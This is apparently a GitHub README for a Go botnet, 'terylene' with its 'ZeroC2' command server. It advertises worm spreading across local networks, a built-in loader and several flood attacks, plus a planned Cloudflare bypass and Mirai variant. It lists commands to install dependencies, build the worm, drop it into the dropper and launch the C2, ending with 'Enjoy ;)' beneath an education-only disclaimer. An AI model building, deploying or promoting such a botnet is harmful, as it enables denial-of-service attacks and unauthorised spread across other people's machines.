Chronoss3 / terylene

The decentralized botnet architecture

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

ZeroC2

WARNING

THIS IS ONLY FOR EDUCATION PURPOSES

UTILIZING THIS FOR ACTUAL DDOS ATTACKS IS ABSOLUTELY CONDEMNED AND COULD RESULT IN SERIOUS LEGAL CONSEQUENCES

Still in DEVELOPMENT

ZeroC2 Features:

# Duplex heartbeat monitoring
# connection deduplication mechanism
# Made in Golang + ZeroMq
# able to handle over 500k botnets
# heartbeat sensor to track bots
# migration and transfer
# Decentralized

Terylene Features:

# Duplex heartbeat monitoring
# Retrying and Backoff mechanism
# Mother priority mechanism
# Made in Golang
# Able to scan and spread through local network
# Builtin Loader
# Fast concurrent Worm spreading
# UDP, TCP, UDPRAPE, Modified UDP, HTTP, SYN flood

Updated features:

+ fixed critical error and implemented thread safety
+ added "killall" command 
+ improved reconnection fault tolerance
+ fixed DDos methods

Upcoming features:

- more ddos methods
- custom methods
- Cloudflare Bypass
- New Mirai Varient that works with terylene

Debian based Setup

Ubuntu , Debian , Kali, Parrot OS

Install ZMQ + GO package using SNAP

sudo apt update
sudo apt upgrade
sudo apt-get install libzmq3-dev
sudo apt install snapd
snap install go --classic

Arch based setup

Arch , BlackArch

Install ZMQ + GO package using pacman

sudo pacman -Sy
sudo pacman -S zeromq
sudo pacman -S go

Red Hat based setup

CentOs, Rocky , Fedora

Install ZMQ package using yum

sudo yum update
sudo dnf makecache --refresh
sudo yum install -y zeromq-devel
sudo yum install golang

ZeroC2 and terylene setup

Clone the repo

git clone https://github.com/polymaster3313/terylene.git

cd into the folder

cd terylene

edit the configs in config folder.

cd config
nano config.go

build terylene and ZeroC2

cd server
sudo go build server.go
cd ..
cd mirai
sudo go build -ldflags="-s -w" terylene.go

drop the terylene malware into the dropper

mv terylene ../server/dropper

start the zeroC2

./server

Enjoy ;)

ZeroMq and Terylene infrastructure

duplex heart monitoring system

ZeroC2

transfer and migration

Migrationfinal(1)

connection deduplication

connection deduplication

connection deduplication , Backoff and Retry Demonstration

2023-10-07.23-37-16.mp4

PS: If connection timed out (5h) , Terylene will pronounce the C2 as dead, mother priority will be activated

Mother priority

mother

About

The decentralized botnet architecture

License:MIT License


Languages

Language:Go 100.0%